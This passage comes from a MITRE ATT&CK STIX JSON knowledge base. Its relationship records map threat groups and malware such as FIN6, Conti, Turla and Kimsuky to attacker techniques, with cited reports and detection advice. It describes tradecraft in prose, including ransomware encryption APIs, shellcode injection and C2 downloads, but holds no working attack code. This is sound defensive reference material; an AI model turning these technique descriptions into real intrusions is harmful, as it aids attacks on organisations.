lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Clymb3r Function Hook Passwords Sept 2013", "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6", "type": "relationship", "created": "2017-05-31T21:33:27.071Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}, {"description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}, {"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-09-09T15:53:09.648Z", "description": " [FIN6](https://attack.mitre.org/groups/G0037) has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97ed3a58-55a7-4dad-bf63-e2f535bec6d0", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for newly constructed containers that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97edbd3f-9470-4845-ab9f-245a5248ab59", "type": "relationship", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.866Z", "description": "Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging.(Citation: ADDSecurity DCShadow Feb 2018)\u00a0A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ADDSecurity DCShadow Feb 2018", "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"}]}, {"type": "relationship", "id": "relationship--97ef26b5-5dda-458b-926e-933ec0d099d6", "created": "2021-02-17T19:22:30.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CarbonBlack Conti July 2020", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"}, {"source_name": "Cybleinc Conti January 2020", "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.", "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/"}, {"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}, {"source_name": "Cybereason Conti Jan 2021", "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T12:58:59.140Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can use <code>CreateIoCompletionPort()</code>, <code>PostQueuedCompletionStatus()</code>, and <code>GetQueuedCompletionPort()</code> to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. [Conti](https://attack.mitre.org/software/S0575) can use \u201cWindows Restart Manager\u201d to ensure files are unlocked and open for encryption.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97fe312d-7a04-43f9-8076-69fe324517ce", "type": "relationship", "created": "2020-06-10T17:28:46.706Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.164Z", "description": "[ABK](https://attack.mitre.org/software/S0469) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97ffb5c1-05da-42b4-90eb-60c1eedc1292", "type": "relationship", "created": "2021-10-14T15:12:18.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/", "source_name": "Securelist Octopus Oct 2018"}, {"source_name": "ESET Nomadic Octopus 2018", "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}], "modified": "2021-10-14T15:12:18.112Z", "description": "[Octopus](https://attack.mitre.org/software/S0340) has stored collected information in the Application Data directory on a compromised host.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", "relationship_type": "uses", "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9800fd7a-d2e1-4188-a991-7b8e09edaa13", "type": "relationship", "created": "2020-06-29T03:41:07.256Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}], "modified": "2020-06-29T03:41:07.256Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used <code>cmd.exe</code> to execute commands.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9801b87a-29e0-4252-81e6-50bbc32d1940", "type": "relationship", "created": "2021-10-06T16:13:04.953Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. 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Retrieved June 10, 2021."}], "modified": "2021-10-06T16:13:04.953Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected valid email addresses that were subsequently used in spearphishing campaigns.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b", "type": "relationship", "created": "2019-06-24T12:15:33.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). 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(2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}, {"source_name": "FireEye SUNSHUTTLE Mar 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. 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Retrieved June 11, 2018.", "url": "https://blog.talosintelligence.com/2018/05/navrat.html"}], "modified": "2020-03-16T17:19:47.373Z", "description": "[NavRAT](https://attack.mitre.org/software/S0247) logs the keystrokes on the targeted system.(Citation: Talos NavRAT May 2018)", "relationship_type": "uses", "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--981bef7b-d442-487e-9763-1f69ffd71126", "created": "2022-04-20T18:01:58.944Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). 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Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can delete the original executable after initial installation in addition to unused functions.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "modified": "2022-04-20T18:01:58.944Z", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361", "type": "relationship", "created": "2017-05-31T21:33:27.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "description": "FireEye Labs. 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Retrieved February 18, 2021."}], "modified": "2021-10-14T16:53:14.449Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) has used a DGA that seeds with the current UTC victim system date to generate domains.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9837fc51-4144-43f0-a5ae-6c86ae5150ba", "type": "relationship", "created": "2022-03-30T14:26:51.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.838Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage code repositories to collect valuable information. Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9839e4e4-06c2-4f6a-8fe0-bc556e547536", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.828Z", "description": "(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--983bd6cd-907a-430d-a6ec-0ca024ca87ae", "type": "relationship", "created": "2020-05-26T17:14:42.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Whitefly March 2019", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore", "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."}], "modified": "2020-05-26T17:14:42.958Z", "description": "[Whitefly](https://attack.mitre.org/groups/G0107) has used malicious .exe or .dll files disguised as documents or images.(Citation: Symantec Whitefly March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--983e91df-bb1a-4658-aaad-7549b1a81917", "type": "relationship", "created": "2021-10-13T13:00:59.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-10-13T13:00:59.069Z", "description": "[NativeZone](https://attack.mitre.org/software/S0637) has checked if Vmware or VirtualBox VM is running on a compromised host.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--98402b9f-d9c6-4200-8f05-80c4b46da2bf", "created": "2022-05-05T18:40:59.560Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Chrommme](https://attack.mitre.org/software/S0667) can exfiltrate collected data via C2.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T18:42:34.295Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--984047c3-43fc-41ad-8d8c-ea585452bc30", "type": "relationship", "created": "2021-05-06T15:18:49.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. 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Retrieved May 5, 2021."}], "modified": "2021-05-06T15:18:49.430Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) has the ability to collect the domain name on a compromised host.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--984a0d7f-407f-4e3b-afd5-1dc107a980d5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", "source_name": "Symantec Leafminer July 2018"}], "modified": "2019-03-25T14:12:13.488Z", "description": "(Citation: Symantec Leafminer July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--984a898c-f469-4e7c-94c6-bf512ec69938", "type": "relationship", "created": "2021-12-08T18:16:03.048Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gigamon Berserk Bear October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Slowik.pdf", "description": "Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE\u2019S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}], "modified": "2021-12-08T18:16:03.048Z", "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can download additional modules from C2.(Citation: Gigamon Berserk Bear October 2021)", "relationship_type": "uses", "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--985066fb-7fbb-4147-a69d-b33d45cd3e7f", "type": "relationship", "created": "2022-03-15T20:08:18.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T20:08:18.958Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) has compressed collected data before exfiltration.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9850f990-17ed-40f5-8065-a455f1198404", "type": "relationship", "created": "2019-06-20T20:53:17.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "source_name": "ESET Turla PowerShell May 2019"}, {"source_name": "Symantec Waterbug Jun 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}], "modified": "2020-03-19T21:56:56.828Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have used cmd.exe to execute commands.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--9852cd17-d47d-44fc-ab5b-a8c73bc7c307", "created": "2022-03-30T14:26:51.875Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for user accounts logged into systems that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). For example, on macOS systems <code>log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"'</code> can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) ", "modified": "2022-04-20T03:05:45.597Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--98557068-7d60-40d4-8294-01469aadf6fe", "type": "relationship", "created": "2021-03-08T13:45:43.104Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:08.932Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can download additional modules from its C2 server.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 